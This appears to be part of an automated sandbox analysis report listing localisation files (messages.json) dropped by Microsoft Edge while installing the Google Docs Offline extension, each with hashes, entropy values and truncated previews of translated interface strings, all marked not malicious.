SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\fi\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\fil\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\fr\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\fr_CA\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\gl\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\gu\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\hi\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\hr\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\hu\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\hy\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\id\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\is\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.631887382471946
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97f9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95MwP9KkJ+je:YwBrD2J2DBLMfFuWvdpY94vioO+uh
MD5:	1F565FB1C549B18AF8BBFED8DECD5D94
SHA1:	B57F4BDAE06FF3DFC1EB3E56B6F2F204D6F63638
SHA-256:	E16325D1A641EF7421F2BAFCD6433D53543C89D498DD96419B03CBA60B9C7D60
SHA-512:	A60B8E042A9BCDCC136B87948E9924A0B24D67C6CA9803904B876F162A0AD82B9619F1316BE9FF107DD143B44F7E6F5DF604ABFE00818DEB40A7D62917CDA69F
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\it\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\iw\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\ja\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Reputation:	unknown
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\ka\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Reputation:	unknown
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir8540_1048523084\CRX_INSTALL\_locales\kk\messages.json

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
